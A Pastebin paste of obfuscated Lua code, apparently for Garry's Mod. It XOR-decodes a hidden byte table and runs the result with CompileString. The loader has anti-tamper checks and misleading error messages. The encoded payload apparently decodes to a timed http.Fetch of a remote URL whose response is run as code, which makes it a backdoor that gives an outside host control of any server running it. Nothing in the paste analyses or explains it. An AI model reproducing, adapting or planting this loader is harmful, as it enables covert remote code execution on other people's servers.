Advertisement
wifiboost

Untitled

Nov 12th, 2019
259
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.88 KB | None | 0 0
  1. enccodetbl = {24,5,1,9,30,66,63,5,1,28,0,9,68,93,64,76,10,25,2,15,24,5,3,2,68,69,76,4,24,24,28,66,42,9,24,15,4,68,78,4,24,24,28,31,86,67,67,11,26,13,15,66,15,22,67,0,5,2,7,67,10,25,15,7,66,28,4,28,83,7,9,21,81,62,63,4,20,62,28,1,33,20,8,31,62,8,38,95,40,58,13,94,14,78,64,76,10,25,2,15,24,5,3,2,68,14,69,76,62,25,2,63,24,30,5,2,11,68,14,64,76,78,86,78,64,76,10,13,0,31,9,69,76,9,2,8,69,76,9,2,8,69,76,10,25,2,15,24,5,3,2,76,62,25,2,36,45,63,36,35,14,68,69,76,9,2,8}
  2. function RunHASHOb()
  3. if not (debug.getinfo(function()end).short_src == "SDATA") then
  4. CompileString("print('Bad source')", "error",true)()
  5. return
  6. end
  7. for o=500,10000 do
  8. if o ~= string.len(string.dump(RunHASHOb)) then
  9. SDATA_DATA_CACHE = 10
  10. CompileString("for i=1,40 do SDATA_DATA_CACHE = SDATA_DATA_CACHE + 1 end", "RunString")()
  11. if SDATA_DATA_CACHE < 40 then
  12. for i=1,100 do
  13. CompileString("print('Oops, seem like you have broken this file')","Oops")()
  14. end
  15. return
  16. end
  17. continue
  18. else
  19. xpcall(function()
  20. pdata = ""
  21. xpcall(function()
  22. for i=1,string.len(string.dump(string.char)) do
  23. while o == i do
  24. o = o + 100000
  25. end
  26. end
  27. end,function() PJDATA_SUB = false end)
  28. if PJDATA_SUB then print("Error while ceating payload to inject") return end
  29. for i=1,#enccodetbl do
  30. pdata=pdata.. string.char(bit.bxor(enccodetbl[i], o%150))
  31. end
  32. if debug.getinfo(RunString).what ~= "C" then return end
  33. PJDATA_SUB = true
  34. for i=1,string.len(string.dump(CompileString)) do
  35. while o == 1050401 do
  36. o = o + 4510
  37. end
  38. end
  39. end,function()
  40. xpcall(function()
  41. local debug_inject = CompileString(pdata,"0:FFFFFFFF")
  42. pcall(debug_inject,"LUA_STAT_CLIENT")
  43. pdata = "\00"
  44. end,function()
  45. print("Error while injecting code to luajit::Client")
  46. end)
  47. end)
  48. end
  49. end
  50. end
  51. pcall(RunHASHOb)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement